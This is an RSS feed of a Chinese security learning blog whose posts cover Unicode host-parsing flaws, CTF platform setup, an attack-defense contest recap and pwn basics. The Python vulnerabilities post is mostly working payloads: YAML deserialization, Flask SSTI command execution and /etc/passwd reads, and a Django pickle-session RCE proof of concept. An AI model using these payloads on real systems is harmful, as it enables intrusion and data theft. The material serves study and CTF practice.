第二种我认为更简单一些，举例说明：&lt;code&gt;&lt;a href=&quot;http://a.com&quot; rel=&quot;nofollow&quot;&gt;http://a.com&lt;/a&gt;／&lt;a href=&quot;http://X.b.com&quot; rel=&quot;nofollow&quot;&gt;X.b.com&lt;/a&gt;&lt;/code&gt;，如果访问该url时返回的结果是会请求&lt;code&gt;&lt;a href=&quot;http://a.com&quot; rel=&quot;nofollow&quot;&gt;a.com&lt;/a&gt;&lt;/code&gt;下的&lt;code&gt;&lt;a href=&quot;http://X.b.com&quot; rel=&quot;nofollow&quot;&gt;X.b.com&lt;/a&gt;&lt;/code&gt;文件，就代表存在该漏洞，反之如果访问该url时不会发送请求或发送一个请求到包含Punnycode的域名则代表不存在该漏洞。&lt;/p&gt;
&lt;h3 id=&quot;hostbond&quot;&gt;如何发现HostBond&lt;/h3&gt;
&lt;p&gt;HostBond出现的地方大多是在UI里，因为需要将A-labels转换成U-labels，然后渲染出来。  &lt;/p&gt;
&lt;h3 id=&quot;_1&quot;&gt;修复建议&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;统一url是通过ASCII解析还是Unicode，不要两个混在一起用&lt;/li&gt;
&lt;li&gt;在解析url之前先进行（黑名单）检测&lt;/li&gt;
&lt;li&gt;用&lt;code&gt;STD3ASCIIRule&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;过滤&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;_2&quot;&gt;加餐列表&lt;/h3&gt;
&lt;p&gt;&lt;img alt=&quot;-w629&quot; src=&quot;/api/download/15726806892176.jpg&quot;&gt;&lt;br&gt;
这个其实可以根据实际情况自己Fuzz&lt;/p&gt;
&lt;h2 id=&quot;summary&quot;&gt;Summary&lt;/h2&gt;
&lt;p&gt;虽说这个&lt;code&gt;Host-Series&lt;/code&gt;系列漏洞在某种意义上来讲比较鸡（少）肋（见），但是这也不失为一种拓宽自己思路的方式，反正就是各种膜大佬的骚姿势。&lt;/p&gt;
&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization-wp.pdf&quot; rel=&quot;nofollow&quot;&gt;Host/Split Exploitable Antipatterns in Unicode Normalization&lt;/a&gt;&lt;/p&gt;</description>
    <pubDate>Mon, 30 Sep 2019 14:17:24 +0800</pubDate>
  </item>
  <item>
    <title>
      It&#x27;s time to set Flags in Junior Year (持续更新)
    </title>
    <link>https://www.0akarma.com/junior-flags.html</link>
    <description>&lt;h2 id=&quot;in-my-junior-year&quot;&gt;In my Junior Year:&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;[ ] 深入研究一下Java安全&lt;/li&gt;
&lt;li&gt;[ ] 入门Machine Learning&lt;/li&gt;
&lt;li&gt;[ ] IELTS Total -&amp;gt; 7+ （今年再不考我是猪）&lt;/li&gt;
&lt;li&gt;[ ] 易经文化助人为乐&lt;/li&gt;
&lt;/ul&gt;</description>
    <pubDate>Sat, 07 Sep 2019 14:26:55 +0800</pubDate>
  </item>
  <item>
    <title>
      Python Universal Vulnerabilities Learning
    </title>
    <link>https://www.0akarma.com/python-universal-vuln-learning.html</link>
    <description>&lt;h2 id=&quot;universal&quot;&gt;Universal&lt;/h2&gt;
&lt;h3 id=&quot;_1&quot;&gt;格式化字符串&lt;/h3&gt;
&lt;h4 id=&quot;s-format&quot;&gt;&quot;%s&quot;%() 与 {}.format()&lt;/h4&gt;
&lt;p&gt;payload&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code&gt;{user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}
{user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;格式化字符串能导致敏感信息泄露，配合django的secret_key可以RCE&lt;/p&gt;
&lt;h4 id=&quot;f-to-rce&quot;&gt;f修饰符 to RCE&lt;/h4&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;python -c &quot;f&#x27;&#x27;&#x27;{__import__(&#x27;os&#x27;).system(&#x27;id&#x27;)}&#x27;&#x27;&#x27;&quot; &lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;但是python没有提供普通字符串转f字符串的方法，所以基本上没有更厉害的利用&lt;/p&gt;
&lt;h3 id=&quot;yaml-to-rce&quot;&gt;YAML反序列化 to RCE&lt;/h3&gt;
&lt;p&gt;通用payload&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;!!python/object/apply:subprocess.check_output [[calc.exe]]

!!python/object/apply:subprocess.check_output [&quot;calc.exe&quot;]

!!python/object/apply:subprocess.check_output [[&quot;calc.exe&quot;]]

!!python/object/apply:os.system [&quot;calc.exe&quot;]

!!python/object/new:subprocess.check_output [[&quot;calc.exe&quot;]]

!!python/object/new:os.system [&quot;calc.exe&quot;]&lt;/code&gt;&lt;/pre&gt;


&lt;h3 id=&quot;pickle-to-rce&quot;&gt;Pickle反序列化 to RCE&lt;/h3&gt;
&lt;p&gt;一般在什么场景下需要用到Pickle？&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;通常在解析认证token，session的时候。&lt;/li&gt;
&lt;li&gt;可能将对象Pickle后存储成磁盘文件。&lt;/li&gt;
&lt;li&gt;可能将对象Pickle后在网络中传输。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;序列化：&lt;/strong&gt;&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code&gt;pickle.dump(文件) 
pickle.dumps(字符串)&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;&lt;strong&gt;反序列化:&lt;/strong&gt;&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code&gt;pickle.load(文件)
pickle.loads(字符串)&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;&lt;a href=&quot;http://www.code2sec.com/python-picklede-ren-yi-dai-ma-zhi-xing-lou-dong-shi-jian-he-payloadgou-zao.html&quot; rel=&quot;nofollow&quot;&gt;Python Pickle的任意代码执行漏洞实践和Payload构造&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;numpy-to-rce&quot;&gt;Numpy反序列化 to RCE&lt;/h3&gt;
&lt;p&gt;其实也是在numpy中使用了pickle.load函数的序列化&lt;/p&gt;
&lt;p&gt;修复：&lt;/p&gt;
&lt;p&gt;numpy.load(filename, allow_pickle=False)&lt;/p&gt;
&lt;h2 id=&quot;flask&quot;&gt;Flask&lt;/h2&gt;
&lt;h3 id=&quot;ssti&quot;&gt;SSTI&lt;/h3&gt;
&lt;p&gt;知道了SSTI的成因，后面就是利用沙箱逃逸了，关于沙箱逃逸可以看这篇文章&lt;a href=&quot;https://xz.aliyun.com/t/52&quot; rel=&quot;nofollow&quot;&gt;Python沙箱逃逸的n种姿势&lt;/a&gt;。&lt;br&gt;
附上几个常用payload&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-jinja2&quot;&gt;#py2
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__[&#x27;open&#x27;](&#x27;/etc/passwd&#x27;).read()}}  
{{&#x27;&#x27;.__class__.__mro__[2].__subclasses__()[40](&#x27;/etc/passwd&#x27;).read()}}

{{&#x27;&#x27;.__class__.__mro__[2].__subclasses__()[40](&#x27;/tmp/owned.cfg&#x27;,&#x27;w&#x27;).write(&#x27;whoami&#x27;)}}  
{{ config.from_pyfile(&#x27;/tmp/owned.cfg&#x27;) }} 

{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__[&#x27;os&#x27;].popen(&#x27;whoami&#x27;).read()}}


#py3

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__==&#x27;catch_warnings&#x27; %}{{c.__init__.__globals__[&#x27;__builtins__&#x27;].eval(&quot;__import__(&#x27;os&#x27;).popen(&#x27;id&#x27;).read()&quot;) }}{% endif %}{% endfor %}

{{ ().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[&#x27;eval&#x27;](&quot;__import__(&#x27;os&#x27;).popen(&#x27;whoami&#x27;).read()&quot;) }}

{{&quot;&quot;.__class__.__mro__[1].__subclasses__()[469].__init__.__globals__[&#x27;popen&#x27;](&#x27;ls&#x27;).read()}}&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;当然，在这基础上还会有一定程度的过滤，就需要自行绕过了。&lt;br&gt;
&lt;a href=&quot;https://wooyun.js.org/drops/Exploring%20SSTI%20in%20Flask.Jinja2.html&quot; rel=&quot;nofollow&quot;&gt;exploring-ssti-in-flask-jinja2&lt;/a&gt;&lt;br&gt;
当同时过滤&lt;code&gt;_&lt;/code&gt;和&lt;code&gt;[&lt;/code&gt;时该怎么解决：&lt;br&gt;
&lt;a href=&quot;https://0day.work/jinja2-template-injection-filter-bypasses/&quot; rel=&quot;nofollow&quot;&gt;Jinja2 template injection filter bypasses&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.anquanke.com/post/id/188172&quot; rel=&quot;nofollow&quot;&gt;SSTI/沙盒逃逸详细总结&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;django&quot;&gt;Django&lt;/h2&gt;
&lt;h3 id=&quot;secret_key-to-rce&quot;&gt;Secret_key to RCE&lt;/h3&gt;
&lt;h4 id=&quot;_2&quot;&gt;实现条件&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;使用了cookie-based sessions&lt;/li&gt;
&lt;li&gt;使用了serializers.PickleSerializer（ django1.5及以下，session默认是采用pickle执行序列化操作&lt;code&gt;django.contrib.sessions.serializers.PickleSerializer&lt;/code&gt;；在1.6 及以上版本默认采用json序列化。&lt;code&gt;django.contrib.sessions.serializers.JSONSerializer&lt;/code&gt;）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;poc可以用bit4大佬的&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = &#x27;bit4&#x27;
__github__ = &#x27;&lt;a href=&quot;https://github.com/bit4woo&#x27;&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bit4woo&#x27;&lt;/a&gt;

import os
import requests
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import pickle

def session_gen(SECRET_KEY,command = &#x27;ping -n 3 test.0y0.link || ping -c test.0y0.link&#x27;,):
    class Run(object):
        def __reduce__(self):
            #return (os.system,(&#x27;ping test.0y0.link&#x27;,))
            return (os.system,(command,))

    #SECRET_KEY = &#x27;1bb8)i&amp;amp;dl9c5=npkp248gl&amp;amp;aji7^x6izh3!itsmb6&amp;amp;yl!fak&amp;amp;f&#x27;
    SECRET_KEY = SECRET_KEY

    sess = signing.dumps(Run(), key = SECRET_KEY,serializer=PickleSerializer,salt=&#x27;django.contrib.sessions.backends.signed_cookies&#x27;)
    #生成的恶意session
    print sess


    &#x27;&#x27;&#x27;
    salt=&#x27;django.contrib.sessions.backends.signed_cookies&#x27;
    sess = pickle.dumps(Run())
    sess = signing.b64_encode(sess)#通过跟踪signing.dumps函数可以知道pickle.dumps后的数据还经过了如下处理。
    sess = signing.TimestampSigner(key=SECRET_KEY, salt=salt).sign(sess)
    print sess
    #这里生成的session也是可以成功利用的，这样写只是为了理解signing.dumps。
    &#x27;&#x27;&#x27;

    session = &#x27;sessionid={0}&#x27;.format(sess)
    return session

def exp(url,SECRET_KEY,command):

    headers = {&#x27;Cookie&#x27;:session_gen(SECRET_KEY,command)}
#    proxy = {&quot;http&quot;:&quot;http://127.0.0.1:8080&quot;}#设置为burp的代理方便观察请求包
    response = requests.get(url,headers= headers)
    #print response.content

if __name__ == &#x27;__main__&#x27;:
    url = &#x27;http://127.0.0.1:8000/&#x27;
    SECRET_KEY = &#x27;1bb8)i&amp;amp;dl9c5=npkp248gl&amp;amp;aji7^x6izh3!itsmb6&amp;amp;yl!fak&amp;amp;f&#x27;
    command = &#x27;cat /flag &amp;gt;/tmp/f1ag&#x27;
    exp(url,SECRET_KEY,command)&lt;/code&gt;&lt;/pre&gt;


&lt;h3 id=&quot;jsonfield-sql&quot;&gt;JSONField SQL注入漏洞&lt;/h3&gt;
&lt;p&gt;复现的时候搞了半天都不行，结果Django更新到2.x就可以了。。。&lt;br&gt;
&lt;a href=&quot;https://xz.aliyun.com/t/5896&quot; rel=&quot;nofollow&quot;&gt;CVE-2019-14234 Django JSON SQL注入 分析&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;materials&quot;&gt;Materials&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/bit4woo/python_sec&quot; rel=&quot;nofollow&quot;&gt;python_sec&lt;/a&gt;&lt;/p&gt;</description>
    <pubDate>Wed, 21 Aug 2019 13:11:39 +0800</pubDate>
  </item>
  <item>
    <title>
      2019年四川省大学生信息安全技术大赛 线下自闭总结
    </title>
    <link>https://www.0akarma.com/sccc-2019.html</link>
    <description>&lt;h2 id=&quot;_1&quot;&gt;题目环境&lt;/h2&gt;
&lt;h3 id=&quot;jsp&quot;&gt;JSP&lt;/h3&gt;
&lt;p&gt;一个现成的cms，然后网上的洞一搜就有，还有几个预置后门+大马，但是没有预先准备流量监控，所以一开始就很被动，只能拿着预置后门和大马上去打，到后面基本上都修完了，所以这一道题打的很水……&lt;br&gt;
后面要准备一下jsp的流量监控和一些jsp的马，下次遇到可以用上。&lt;/p&gt;
&lt;h3 id=&quot;php&quot;&gt;PHP&lt;/h3&gt;
&lt;p&gt;少了一上午的php，只能从中午开始打php，这部分是最顺手最轻松的，也是一个现成的cms，打法也很常规所以这里我们一直在追分，&lt;br&gt;
结果后来他把题目关了就只上最后一个Python Web&lt;/p&gt;
&lt;h3 id=&quot;python&quot;&gt;Python&lt;/h3&gt;
&lt;p&gt;是一个Django的博客，里面功能点没多少，一个&lt;a href=&quot;https://www.leavesongs.com/PENETRATION/python-string-format-vulnerability.html&quot; rel=&quot;nofollow&quot;&gt;格式化字符串&lt;/a&gt;的信息泄露，一个&lt;a href=&quot;http://www.polaris-lab.com/index.php/archives/375/&quot; rel=&quot;nofollow&quot;&gt;yaml上传反序列化漏洞&lt;/a&gt;&lt;br&gt;
一开始自己修着修着洞把自己修崩了，以为别人已经开始批量了，方的要死，然后被check了几轮，就更方了。重置了之后，才意识到是&lt;code&gt;debug&lt;/code&gt;模式，一修改就会生效。&lt;br&gt;
经验不足导致的丢分～～&lt;br&gt;
后门赛后听到师傅们交流有些队是打到那个反序列化的洞了，有些队是坐了顺风车，我们修好了，所以不知道别人咋打下来的～可以复现一下。&lt;/p&gt;
&lt;h2 id=&quot;_2&quot;&gt;非预期&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;内网平台竟然也会卡！！！&lt;/li&gt;
&lt;li&gt;提交Flag竟然要验证码！！！&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;_3&quot;&gt;坑点及如何优化改进&lt;/h2&gt;
&lt;h3 id=&quot;_4&quot;&gt;文件监控&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;sleep 1 优化&lt;/li&gt;
&lt;li&gt;类蜜罐式捕获文件样本保存&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;_5&quot;&gt;流量监控&lt;/h3&gt;
&lt;p&gt;php的已经写好了，还要集齐jsp、asp、aspx、python web、go的流量监控脚本，以后就可以转被动为主动。&lt;/p&gt;
&lt;h3 id=&quot;php_1&quot;&gt;PHP&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;将内置后门从eval()转为system()，可以用file_put_contents()&lt;/li&gt;
&lt;li&gt;requests发post请求时编码的问题，会导致命令是否能执行&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;_6&quot;&gt;批量提交&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;增加验证码识别选项&lt;/li&gt;
&lt;/ul&gt;</description>
    <pubDate>Tue, 23 Jul 2019 04:41:47 +0800</pubDate>
  </item>
  <item>
    <title>
      CTFD魔改之旅 从0到1
    </title>
    <link>https://www.0akarma.com/magic-ctfd.html</link>
    <description>&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;寒假的时候学了一下Flask，开发了自己现在的&lt;a href=&quot;https://www.0akarma.com/0ak-blog.html&quot; rel=&quot;nofollow&quot;&gt;博客&lt;/a&gt;，本来寒假的时候就已经要准备开发一个CTF平台给实验班考核的时候用的，但是一直没有规划好架构，所以一直延期了。&lt;br&gt;
一直是知道&lt;a href=&quot;https://ctfd.io/&quot; rel=&quot;nofollow&quot;&gt;CTFD&lt;/a&gt;这个平台的，但是一直没有仔细研究过，直到最近研读了一下源码和文档，发现他是真的香！所以就有了这篇文章的诞生，记录一下魔改的过程和遇到的坑点。&lt;/p&gt;
&lt;h2 id=&quot;dir-structure&quot;&gt;Dir Structure&lt;/h2&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code&gt;CTFd
├── CTFd
│   ├── admin # 后台
│   ├── api # API
│   ├── cache # 缓存设置
│   ├── events # 全局event事件（弹窗）设置
│   ├── logs # 日志文件夹
│   ├── models # 数据库结构
│   ├── plugins # 插件（二次开发）
│   │   ├── challenges
│   │   │   └── assets
│   │   └── dynamic_challenges
│   │       └── assets
│   ├── schemas # 封装的Class
│   ├── themes
│   │   ├── admin # 后台前端主题
│   │   │   ├── static
│   │   │   └── templates
│   │   └── core # 前台前端主题
│   │       ├── static
│   │       └── templates
│   ├── uploads # 上传的文件夹
│   └── utils # 封装的各模块函数
│       ├── config
│       ├── countries
│       ├── crypto
│       ├── dates
│       ├── decorators # 这里访问速率设置
│       ├── email
│       ├── encoding
│       ├── events
│       ├── exports
│       ├── helpers
│       ├── initialization # 这里有CSRF设置
│       ├── logging
│       ├── migrations
│       ├── modes
│       ├── notifications
│       ├── plugins
│       ├── scores
│       ├── security
│       ├── sessions
│       ├── updates
│       ├── uploads
│       ├── user
│       └── validators
├── docs
├── migrations
│   └── versions
├── scripts
└── tests # 功能模块测试
    ├── admin
    ├── api
    ├── challenges
    ├── oauth
    ├── teams
    ├── users
    └── utils&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;其实基本上能魔改的地方就前端和CTFD可供二次开发的Plugins，只需要大开脑洞，想好要加什么功能，就可以直接开干，因为是真的不难&lt;/p&gt;
&lt;h2 id=&quot;front-end-transformation&quot;&gt;Front-end Transformation&lt;/h2&gt;
&lt;p&gt;前端其实没啥可改的，就是换下配色 / 换下布局，其他地方都是&lt;code&gt;jinja2&lt;/code&gt;动态输出，照搬原样就可以了。&lt;br&gt;
CTFD后台其实支持增加独立Page，但是如果不需要大改的话，直接用那个也能满足一些需求。&lt;br&gt;
但是作为一个“爱折腾的”水瓶儿，肯定不满足原版CTFD的美工，就自己魔改了一个新的。&lt;/p&gt;
&lt;h3 id=&quot;notification&quot;&gt;Notification&lt;/h3&gt;
&lt;p&gt;加上Timeline会稍微好看一些&lt;br&gt;
&lt;img alt=&quot;WX20190705-193035@2x_shrink&quot; src=&quot;/api/download/WX20190705-1930352x_shrink.png&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;matrix&quot;&gt;Matrix&lt;/h3&gt;
&lt;p&gt;自制记分板，这个在下一Part的Plugins里面会仔细讲&lt;br&gt;
&lt;img alt=&quot;WX20190705-193735@2x_shrink&quot; src=&quot;media/15615566272622/WX20190705-193735@2x_shrink.png&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;challenges&quot;&gt;Challenges&lt;/h3&gt;
&lt;p&gt;这里的配色一直没调好，但是还凑合&lt;br&gt;
&lt;img alt=&quot;WX20190705-193826@2x_shrink&quot; src=&quot;media/15615566272622/WX20190705-193826@2x_shrink.png&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;plugins-transformation&quot;&gt;Plugins Transformation&lt;/h2&gt;
&lt;p&gt;看下面这一部分之前，建议先看看官方WIKI里关于&lt;a href=&quot;https://github.com/CTFd/CTFd/wiki/Plugins&quot; rel=&quot;nofollow&quot;&gt;Plugins&lt;/a&gt;的介绍&lt;/p&gt;
&lt;h3 id=&quot;dynamic-instance-challenge&quot;&gt;Dynamic Instance Challenge&lt;/h3&gt;
&lt;p&gt;这里分享一下2018级实验班考核时用到的动态下发题目容器的Plugins&lt;br&gt;
其实就是自己二次开发一个新的Challenge Type，官方demo中也包含了一个编程(Programming)的新Challenge Type，感兴趣的可以也去研究一下。&lt;br&gt;
因为动态下发题目的Challenge Type跟平时的&lt;code&gt;static&lt;/code&gt;类型没啥区别，只需要自己自定义一下&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;新Challenge额外的数据库字段（如部署方式、题目目录等）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;attempt()&lt;/code&gt;判断Flag对错 / 作弊与否 &lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;dynamic-instance-distribution&quot;&gt;Dynamic Instance Distribution&lt;/h3&gt;
&lt;p&gt;上面的只是新的Challenge Type，虽然我们可以也可以把动态下发容器的代码放到上面一起，但是感觉分开不同的模块对后续的优化更便利，所以重新创建一个Plugin写我们动态下发容器。&lt;br&gt;
这里新建Plugin的模版就可以不抄上面的了，只需要有一个&lt;code&gt;load()&lt;/code&gt;函数用于app启动时导入插件即可，剩下的就是一般的Python函数编写。&lt;br&gt;
容器的下发有两种可选方案：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;docker&lt;/li&gt;
&lt;li&gt;docker-compose&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;两种方案其实差不多，第一种适合类AWD那种直接挂载源码就能跑那种，第二种兼容各种出题环境，给出题人更大的发挥空间。&lt;br&gt;
但是都有一些Bug就是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;都需要调用&lt;code&gt;Docker API&lt;/code&gt;，而且宿主机与API主机的Docker Volume目录要相同，不然无法挂载目录&lt;/li&gt;
&lt;li&gt;出内网题时，容易有BUG（在同一网段，会打到隔壁老王的机子；不在同一网段，没有足够的内网IP分配导致不能支持多人同时做题）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;最后我采用如下方案&lt;br&gt;
&lt;img alt=&quot;ctfd_shrink&quot; src=&quot;/api/download/ctfd_shrink.png&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;matrix-scoreboard&quot;&gt;Matrix Scoreboard&lt;/h3&gt;
&lt;p&gt;这个记分板的想法来源于一开始看到官方github的plugin库里面有大牛开发的记分板，但是发现他是老版本的，所以还是要做一个适配&lt;code&gt;v2.*&lt;/code&gt;版本的才能用，于是又自己魔改了一波，加了一二三血的Flag和适配一二三血的总分算法，改完还是很满意的，但是分页一直没弄，因为要加分页感觉后端代码改动有点大，所以就先不折腾了。先用着，等到后面有时间再改善一下。&lt;/p&gt;
&lt;h2 id=&quot;tricks&quot;&gt;Tricks&lt;/h2&gt;
&lt;h3 id=&quot;nginx-reverse-proxy&quot;&gt;Nginx Reverse Proxy&lt;/h3&gt;
&lt;h4 id=&quot;notification_1&quot;&gt;Notification&lt;/h4&gt;
&lt;p&gt;如果需要反代CTFD的话，需要注意：Notification那个&lt;code&gt;events&lt;/code&gt;需要额外配置这个，因为他是服务端主动推送的，所以连接需要&lt;code&gt;Keep-Alive&lt;/code&gt;保持连接，否则管理员发全员弹窗的时候会无法成功发送。&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-nginx&quot;&gt;location /events {
        proxy_pass  http://d0g3-ctfd:4000/events;
        proxy_set_header Connection &#x27;&#x27;;
        proxy_http_version 1.1;
        chunked_transfer_encoding off;
        proxy_buffering off;
        proxy_cache off;
    }&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;附上我的Nginx配置给大家参考  &lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-nginx&quot;&gt;location / {
        proxy_pass http://d0g3-ctfd:4000;

        #ssl settings
        proxy_set_header X-Forwarded-Port $server_port;

        #settings
        # 如果遇到前端https，后端http可以尝试下面注释里的设置
        # proxy_redirect     http:// https://;
        proxy_set_header   Host             $host;
        proxy_set_header   X-Real-IP        $remote_addr;
        proxy_set_header   X-Forwarded-For  $proxy_add_x_forwarded_for;
        proxy_next_upstream error timeout invalid_header http_500 http_502 http_503 http_504;
        proxy_max_temp_file_size 0;
        proxy_hide_header X-Frame-Options;
        add_header X-Frame-Options SAMEORIGIN always;
        proxy_connect_timeout      90;
        proxy_send_timeout         90;
        proxy_read_timeout         90;
        proxy_temp_file_write_size 64k;
    }&lt;/code&gt;&lt;/pre&gt;


&lt;h3 id=&quot;automatic-register&quot;&gt;Automatic register&lt;/h3&gt;
&lt;p&gt;自动注册用户脚本&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;# -*- coding: utf-8 -*-
# @Author: 0aKarmA_骅文
# @Date:   2019-06-27 14:19:25
# @Last Modified by:   0aKarmA
# @Last Modified time: 2019-06-27 23:46:49


import requests, re

def register_user(left, right):
    for i in range(left,right):
        name = &quot;TEST&quot; + str(i)
        email = name + &quot;@d0g3.cn&quot;
        url = &#x27;https://domain/register&#x27;
        s = requests.Session()
        rq = s.get(url)
        token = &quot;&quot;.join(re.findall(r&#x27;nonce&quot; value=&quot;(.*)&quot;&#x27;, rq.text))
        data = {
            &quot;name&quot;: name,
            &quot;email&quot;: email,
            &quot;password&quot;: &quot;password&quot;,
            &quot;nonce&quot; : token
        }
        rqq = &lt;a href=&quot;http://s.post&quot; rel=&quot;nofollow&quot;&gt;s.post&lt;/a&gt;(url, data)
        print(&quot;Success Register &quot; + name + &quot; &quot; + str(rqq.status_code))            


if __name__ == &#x27;__main__&#x27;:

    register_user(0,10)&lt;/code&gt;&lt;/pre&gt;


&lt;h2 id=&quot;summary&quot;&gt;Summary&lt;/h2&gt;
&lt;p&gt;平台和题目经过80+同学同时在线并发测试，负载远低于我自己做100+的异步并发～～简直有点不敢相信。。&lt;br&gt;
除了下发不同题目容器时需要清理浏览器缓存（如果不固定端口的话，应该不会存在这个问题），其他的体验应该还是不错的。&lt;/p&gt;</description>
    <pubDate>Wed, 26 Jun 2019 13:43:47 +0800</pubDate>
  </item>
  <item>
    <title>
      Blue Whale PWN Learning
    </title>
    <link>https://www.0akarma.com/BlueWhale-pwn.html</link>
    <description>&lt;h2 id=&quot;0x01-basic-conception&quot;&gt;0x01 Basic Conception&lt;/h2&gt;
&lt;h3 id=&quot;_1&quot;&gt;环境搭建&lt;/h3&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code&gt;sudo apt-get install nasm gcc-4.8 gdb binutils hexedit gcc-4.8-multilib

# 32位libc库
sudo apt-get install libc6-dev-i386
# qira
&lt;a href=&quot;https://github.com/geohot/qira&quot; rel=&quot;nofollow&quot;&gt;https://github.com/geohot/qira&lt;/a&gt;
# github上面那个安装方法会有问题，我后来装的是1.2版本
cd ~/ &amp;amp;&amp;amp; wget -qO- &lt;a href=&quot;https://github.com/BinaryAnalysisPlatform/qira/archive/v1.2.tar.gz&quot; rel=&quot;nofollow&quot;&gt;https://github.com/BinaryAnalysisPlatform/qira/archive/v1.2.tar.gz&lt;/a&gt; | tar zx &amp;amp;&amp;amp; cd qira-1.2 &amp;amp;&amp;amp; ./&lt;a href=&quot;http://install.sh&quot; rel=&quot;nofollow&quot;&gt;install.sh&lt;/a&gt;

# 报错：ImportError: No module named ext.socketio
# 重新安装低版本flask
pip install Flask==0.10.1

# 安装完成后的测试命令
qira -s ./binary
# gdb
&lt;a href=&quot;https://github.com/longld/peda&quot; rel=&quot;nofollow&quot;&gt;https://github.com/longld/peda&lt;/a&gt;&lt;/code&gt;&lt;/pre&gt;


&lt;h3 id=&quot;_2&quot;&gt;工具介绍&lt;/h3&gt;
&lt;h4 id=&quot;gdb&quot;&gt;GDB&lt;/h4&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;gdb -q ./***&lt;/code&gt;&lt;/pre&gt;


&lt;h4 id=&quot;objdump&quot;&gt;objdump&lt;/h4&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;objdump -d -M intel ./***&lt;/code&gt;&lt;/pre&gt;


&lt;h3 id=&quot;shellcode&quot;&gt;shellcode&lt;/h3&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code&gt;# nasm
nasm a.asm -o a.o -felf32

# objcopy 删除无关elf内容，提取所需可执行内容
objcopy -O binary a.o code
# 16进制查看
xxd -i code
# 输出成头文件
xxd -i code &amp;gt; code.h
# 编译shellcode
gcc vul.c -o vul -m32 -zexecstack
# 通过vul执行shellcode
(cat code;cat) | ./vul&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;vul.c&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-c&quot;&gt;#include&amp;lt;unistd.h&amp;gt;

char code[200];
typedef int (*CODE)();

int main()
{
    read(0,code,100);
    ((CODE)code)();
}&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;&lt;img alt=&quot;-w535&quot; src=&quot;/api/download/15568791404547.jpg&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;_3&quot;&gt;函数调用&lt;/h3&gt;
